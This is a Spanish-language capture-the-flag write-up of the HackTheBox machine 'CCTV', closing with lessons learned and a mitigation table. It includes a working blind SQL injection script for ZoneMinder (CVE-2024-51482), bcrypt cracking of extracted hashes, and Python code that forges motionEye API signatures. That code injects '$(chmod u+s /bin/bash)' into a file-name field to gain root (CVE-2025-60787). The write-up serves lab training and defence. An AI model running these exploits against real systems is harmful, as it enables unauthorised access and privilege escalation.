/bin/bash.HackTheBox Linux Medium
🗺️ Información de la Máquina#
| Campo | Detalle |
|---|---|
| Nombre | CCTV |
| OS | Linux |
| Dificultad | Medium |
| IP | 10.129.244.156 |
| Técnicas | CVE-2024-51482 · Boolean-based Blind SQLi · bcrypt Cracking · CVE-2025-60787 · SUID PrivEsc |
1. Reconocimiento#
1.1 Escaneo de Puertos#
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.244.156PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpecho "10.129.244.156 cctv.htb" >> /etc/hosts💡 Superficie de ataque: Solo SSH y un servicio web. Toda la investigación inicial pasa necesariamente por la aplicación web en el puerto 80.
2. Enumeración Web — ZoneMinder#
Al visitar http://cctv.htb encontramos un panel de staff login. Probamos credenciales por defecto:
admin : admin✅ Acceso concedido. La aplicación es ZoneMinder v1.37.63, un sistema de videovigilancia de código abierto.
⚠️ Vulnerabilidad identificada: Esta versión es vulnerable a CVE-2024-51482, una SQL Injection ciega en el parámetro
tiddel endpointweb/ajax/event.php. Cualquier usuario autenticado — incluyendoadmin:adminpor defecto — puede explotarla.
Probamos primero el exploit público de referencia basado en time-based SQLi:
python3 CVE-2024-51482.py -i 10.129.244.156 -u admin -p admin --test[-] Target does not appear vulnerableEl servidor amortigua los retardos de SLEEP(), así que la detección time-based falla. Sin embargo, el parámetro tid sigue sin sanitizar — cambiamos el enfoque a boolean-based blind SQLi: en lugar de medir tiempos, observamos si la clave "response" aparece o no en el JSON de respuesta según si la condición inyectada es verdadera o falsa.
2.1 Petición Vulnerable#
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>
Cookie: ZMSESSID=<cookie_de_sesión>2.2 Lógica del Payload#
-- ¿El primer carácter del hash de la contraseña de mark es '$' (ASCII 36)?
0 UNION SELECT 1,2,3,4 FROM Users WHERE Id=2 AND ASCII(SUBSTRING(Password,1,1))=36Si la condición es verdadera, la respuesta cambia de forma detectable. Iterando posición a posición y carácter a carácter extraemos el hash completo sin retardos de tiempo.
2.3 Script de Extracción#
import requests, sys
URL = 'http://cctv.htb/zm/index.php'
COOKIE = {'ZMSESSID': sys.argv[1]}
# Charset optimizado para bcrypt ($2y$10$...)
CHARSET = [ord(c) for c in '$2abcdefghijklmnopqrstuvwxyz0123456789./ABCDEFGHIJKLMNOPQRSTUVWXYZ']
def check(user_id, pos, asc_val):
payload = (
f'0 UNION SELECT 1,2,3,4 FROM Users '
f'WHERE Id={user_id} AND ASCII(SUBSTRING(Password,{pos},1))={asc_val}'
)
params = {'view':'request','request':'event','action':'removetag','tid':payload}
r = requests.get(URL, params=params, cookies=COOKIE, timeout=5)
return '"response"' not in r.text and r.status_code == 200
for uid, uname in [(1,'superadmin'),(2,'mark')]:
password = ''
for pos in range(1, 61):
found = False
for asc in CHARSET:
if check(uid, pos, asc):
password += chr(asc); found = True; break
if not found:
for asc in range(32, 127):
if check(uid, pos, asc):
password += chr(asc); found = True; break
if not found: password += '?'
print(f'{uname} hash: {password}')El charset prioriza los caracteres típicos de un hash bcrypt ($, dígitos, letras y ./) para reducir el número de peticiones necesarias por posición.
Extraemos el ZMSESSID de la sesión autenticada y ejecutamos:
python3 sqli.py jalvld8p48s3gpba63pb8gi3hosuperadmin hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
mark hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.3. Cracking del Hash y Acceso SSH#
Guardamos el hash de mark y lo crackeamos con John the Ripper:
echo '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' > mark.hash
john --wordlist=/usr/share/wordlists/rockyou.txt mark.hashLoaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
opensesame (?)
1g 0:00:01:06 DONE — 0.01503g/s 89.82p/s🔑 Credenciales obtenidas:
mark:opensesame
ssh mark@cctv.htbmark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)4. User Flag#
mark@cctv:~$ cat /home/sa_mark/user.txt🔑 Flag de usuario obtenida.
5. Escalada de Privilegios — motionEye como Root#
5.1 Enumeración de Servicios Locales#
mark@cctv:~$ ss -tlnpLISTEN 127.0.0.1:7999
LISTEN 127.0.0.1:8765
LISTEN 127.0.0.1:8554
LISTEN 127.0.0.1:3306
LISTEN 0.0.0.0:22
LISTEN *:80mark@cctv:~$ grep User /etc/systemd/system/motioneye.service
User=root💡 Hallazgo clave: motionEye (puertos
7999y8765) se ejecuta como root. Si conseguimos ejecutar código a través de él, la escalada es directa.
5.2 Clave de Firma Expuesta en la Configuración#
mark@cctv:~$ cat /etc/motioneye/motion.conf# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @normal_username user
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_localhost on💡 Dato crítico:
admin_passwordno es la contraseña en texto plano — es el hash que motionEye usa como clave de firma HMAC para autenticar peticiones a su API REST. Cada petición debe incluir un parámetro_signaturecalculado con esa clave. Comomarkpuede leer este fichero, tenemos la clave sin necesidad de las credenciales reales. Esta es la base del CVE-2025-60787.
6. Explotación — CVE-2025-60787: Firma Falsificada + RCE vía Nombre de Fichero#
6.1 Análisis de la Vulnerabilidad#
CVE-2025-60787 combina dos problemas en motionEye:
Clave de firma legible por usuarios no administrativos: Con acceso a
motion.conf, cualquier usuario local puede firmar peticiones arbitrarias a la API administrativa sin conocer la contraseña real.Inyección de comandos en
image_file_name: El campo que define el nombre de las capturas de cámara soporta plantillas tipo strftime (%Y-%m-%d), pero no sanea el contenido$(...). Cuando motion genera el nombre de archivo a través de un shell, cualquier subcomando embebido se ejecuta — y como el servicio corre como root, el comando se ejecuta con privilegios de root.
Flujo normal: image_file_name = "capture_%Y-%m-%d" → motion genera "capture_2026-06-22"
Flujo malicioso: image_file_name = "$(chmod u+s /bin/bash).%Y-%m-%d"
→ motion invoca shell para expandir la plantilla
→ subcomando ejecutado como root → /bin/bash obtiene bit SUID6.2 Cálculo de la Firma#
motionEye firma las peticiones concatenando método HTTP, ruta normalizada, cuerpo y clave, y calculando SHA-1 sobre el resultado. Reproducimos el algoritmo exacto:
import hashlib, re, urllib.parse, requests, json
_SIGNATURE_REGEX = re.compile(r"[^a-zA-Z0-9/?_.=&{}\[\]\":, -]")
KEY = "989c5a8ee87a0e9521ec81a79187d162109282f0"
BASE = "http://127.0.0.1:8765"
def compute_sig(method, path_with_query, body=""):
parts = list(urllib.parse.urlsplit(path_with_query))
query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True)
if q[0] != "_signature"]
query.sort(key=lambda q: q[0])
query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
parts[0] = parts[1] = ""
parts[3] = "&".join([q[0] + "=" + q[1] for q in query])
path = _SIGNATURE_REGEX.sub("-", urllib.parse.urlunsplit(parts))
k = _SIGNATURE_REGEX.sub("-", KEY)
body_str = _SIGNATURE_REGEX.sub("-", body) if body else ""
return hashlib.sha1(f"{method}:{path}:{body_str}:{k}".encode()).hexdigest().lower()6.3 Ejecución del Exploit#
Paso 1 — Leer la configuración actual de la cámara (necesaria para el set, que requiere el objeto completo):
qget = "/config/1/get?_username=admin"
r = requests.get(f"{BASE}{qget}&_signature={compute_sig('GET', qget)}")
ui = r.json()Paso 2 — Inyectar el payload en image_file_name:
ui["image_file_name"] = "$(chmod u+s /bin/bash).%Y-%m-%d"
ui["capture_mode"] = "all-frames"
ui["still_images"] = TrueActivar all-frames fuerza a motion a generar capturas de forma continua, garantizando que el nombre de archivo malicioso se evalúe pronto.
Paso 3 — Enviar la configuración envenenada:
body = json.dumps(ui)
qset = "/config/1/set?_username=admin"
r = requests.post(
f"{BASE}{qset}&_signature={compute_sig('POST', qset, body)}",
data=body,
headers={"Content-Type": "application/json"}
)
print(f"[*] Config update: {r.status_code} — {r.text}")mark@cctv:/tmp$ python3 exploit.py
[*] Config update: 200 — {"reload": false, "reboot": false, "error": null}Tras el reinicio del servicio motion, el subcomando se ejecuta como root y /bin/bash queda con SUID:
mark@cctv:/tmp$ /bin/bash -p
bash-5.2# id
uid=1000(mark) gid=1000(mark) euid=0(root) groups=1000(mark)✅ Shell con EUID 0 (root) obtenida.
7. Root Flag#
bash-5.2# cat /root/root.txt🏁 Flag de root obtenida.
8. Resumen y Lecciones Aprendidas#
Ruta de compromiso:
- Recon → Puerto 80 con ZoneMinder v1.37.63; credenciales por defecto
admin:admin. - CVE-2024-51482 → Boolean-based blind SQLi en
tid→ hashes bcrypt desuperadminymark. - Cracking → John + rockyou.txt →
mark:opensesame→ SSH. - Enumeración local → motionEye en puertos 7999/8765 corriendo como root;
motion.conflegible con clave de firma expuesta. - CVE-2025-60787 → Firma HMAC falsificada + inyección
$(...)enimage_file_name→chmod u+s /bin/bashejecutado como root. - Flags → User flag en
/home/sa_mark/user.txt; root flag con/bin/bash -p.
Lo que aprendí con esta máquina:
Las credenciales por defecto siguen siendo el vector de entrada más frecuente y más ignorado. ZoneMinder se instala con
admin:adminy muchas instancias en producción nunca lo cambian. Sin esas credenciales, la SQLi del CVE-2024-51482 no es explotable (requiere estar autenticado) — el hardening más básico habría cortado el ataque en el primer paso.Time-based SQLi y boolean-based SQLi no son intercambiables. Cuando el servidor amortigua los retardos (WAF, pooling de conexiones, configuración del motor), la detección por tiempo falla aunque la inyección exista. El cambio a boolean-based — observar diferencias en el contenido de la respuesta en lugar de en el tiempo — es el siguiente paso natural y funcionó perfectamente aquí.
Un fichero de configuración legible puede valer más que una contraseña. La clave
admin_passwordenmotion.confno era la contraseña del usuario — era la clave criptográfica de firma de toda la API. Tener acceso de lectura a ese fichero equivalía a tener acceso administrativo completo a motionEye sin conocer ninguna credencial real. El principio de mínimo privilegio sobre ficheros de configuración no es solo una buena práctica — es una línea de defensa concreta.Los sistemas de templating que invocan un shell son un vector de inyección de comandos inmediato si no sanitizan la entrada.
image_file_namesoportaba sustituciones de variables, lo que requiere invocar un shell para expandirlas. Cualquier campo que pase por un shell sin sanitizar$()es potencialmente vulnerable. La corrección no es sanitizar mejor — es no invocar un shell para expandir plantillas cuando no es estrictamente necesario.Un servicio corriendo como root con capacidad de escritura en el sistema de ficheros es una escalada inmediata. El SUID en
/bin/bashes uno de los payloads más simples posibles — no requiere exploits de kernel, no depende de la arquitectura, y funciona mientras/bin/bashexista. El problema raíz no es el payload sino que motion corre como root innecesariamente.
Mitigaciones:
| Vector | Mitigación |
|---|---|
| Credenciales por defecto en ZoneMinder | Forzar cambio en el primer inicio de sesión; eliminar credenciales por defecto antes de exponer el panel |
CVE-2024-51482 — SQLi ciega en tid | Actualizar ZoneMinder a versión parcheada; usar prepared statements en todos los endpoints AJAX |
| Clave de firma legible por usuarios no administrativos | Restringir permisos de motion.conf a solo root; no derivar claves de firma de la contraseña de administrador |
| motionEye ejecutándose como root | Ejecutar con un usuario dedicado sin privilegios; usar setcap si se necesita acceso a dispositivos de cámara |
CVE-2025-60787 — inyección vía image_file_name | Actualizar motionEye a versión parcheada; no expandir plantillas de nombre de fichero mediante un shell |
| Ausencia de segmentación entre servicios y privilegios root | Auditar periódicamente qué servicios locales corren con privilegios elevados innecesarios |